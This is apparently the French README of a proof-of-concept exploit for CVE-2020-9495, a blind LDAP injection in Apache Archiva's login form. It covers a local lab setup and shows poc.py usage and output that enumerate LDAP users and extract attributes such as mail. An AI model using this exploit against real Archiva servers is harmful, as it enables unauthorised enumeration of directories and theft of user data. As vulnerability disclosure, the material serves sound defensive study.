
Exploit de preuve de concept pour CVE-2020-9495, une vulnérabilité d'injection LDAP dans Apache Archiva. Énumère les utilisateurs LDAP et exfiltre des valeurs d'attributs arbitraires via une injection aveugle.
CVE-2020-9495 est une vulnérabilité d'injection LDAP de sévérité moyenne dans Apache Archiva versions antérieures à 2.2.5. Elle permet à un attaquant de récupérer les valeurs de n'importe quel attribut LDAP des utilisateurs présents sur le serveur LDAP.
D'après l'avis de sécurité officiel d'Apache Archiva :
En fournissant des valeurs spéciales au formulaire de connexion d'Archiva, un attaquant peut récupérer les données d'attributs des utilisateurs du serveur LDAP connecté. Avec certains caractères, il est possible de modifier le filtre LDAP utilisé pour interroger les utilisateurs sur le serveur LDAP connecté. En mesurant le temps de réponse, des données d'attributs arbitraires peuvent être récupérées depuis les objets utilisateur LDAP.
Le script poc.py montre comment un attaquant non autorisé peut énumérer les utilisateurs d'un serveur LDAP intégré à Archiva et récupérer la valeur de n'importe quel attribut de n'importe quel utilisateur.
Sautez cette étape si vous avez déjà un serveur Archiva avec l'authentification LDAP activée.
Téléchargez Archiva 2.2.4 et extrayez-le
$ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
$ tar -zxf apache-archiva-2.2.4-bin.tar.gz
Exécutez un serveur OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Importez les utilisateurs de users.ldif dans LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Exécutez le serveur Archiva
$ bin/archiva console
Activez et configurez l'authentification LDAP via l'interface web
$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last